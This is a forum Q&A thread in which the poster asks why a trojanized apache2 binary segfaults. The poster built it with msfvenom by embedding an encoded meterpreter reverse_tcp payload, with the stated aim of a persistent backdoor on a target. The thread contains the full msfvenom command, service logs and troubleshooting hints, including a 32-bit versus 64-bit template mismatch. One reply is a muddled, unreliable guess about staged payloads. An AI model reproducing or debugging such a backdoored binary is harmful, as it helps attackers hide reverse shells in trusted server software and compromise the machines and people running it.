I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the target machine. Below is the general command I've been trying

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf -e x86/shikata_ga_nai -x ./apache2 -o ./apache2_hacked

I then copy the apache2_hacked binary to the proper location and attempt to start it with service apache2 start. This results in a seg fault.

root@kali:~# service apache2 start

Job for apache2.service failed. See 'systemctl status apache2.service' and 'journalctl -xn' for details.

root@kali:~# systemctl status apache2.service

● apache2.service - LSB: Apache2 web server

  Loaded: loaded (/etc/init.d/apache2)

  Active: failed (Result: exit-code) since Fri 2015-09-18 15:49:24 EDT; 3min 37s ago

 Process: 3446 ExecStart=/etc/init.d/apache2 start (code=exited, status=1/FAILURE)

Sep 18 15:49:24 kali apache2[3446]: Starting web server: apache2 failed!

Sep 18 15:49:24 kali apache2[3446]: The apache2 configtest failed. ... (warning).

Sep 18 15:49:24 kali apache2[3446]: Output of config test was:

Sep 18 15:49:24 kali apache2[3446]: Segmentation fault

Sep 18 15:49:24 kali apache2[3446]: Action 'configtest' failed.

Sep 18 15:49:24 kali apache2[3446]: The Apache error log may have more information.

Sep 18 15:49:24 kali systemd[1]: apache2.service: control process exited, code=exited status=1

Sep 18 15:49:24 kali systemd[1]: Failed to start LSB: Apache2 web server.

Sep 18 15:49:24 kali systemd[1]: Unit apache2.service entered failed state.

Am I using the tool correctly? Are there any restrictions on templates I need to be aware of? Is there some special about the apache2 binary that prevents injection attempts like this?

  • Is apache2 32-bit elf or 64-bit? Make sure it is 32-bit as well. – void_in Sep 19 '15 at 7:18
  • @void_in Thanks. I feel like I'm about to feel silly when I get a chance to check that on Monday – Nick Roth Sep 19 '15 at 14:38

Seems like the reference to segmentation refers to the 2 parts of the payload. Try staged and stageless variables, also cmd instead of meterpreter. I believe staged is one string and stageless is segmented. But im not sure i just started playing with msfvenom myzelf

  • I think you need to look up what "seg faults" are ... – schroeder Apr 3 '17 at 6:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.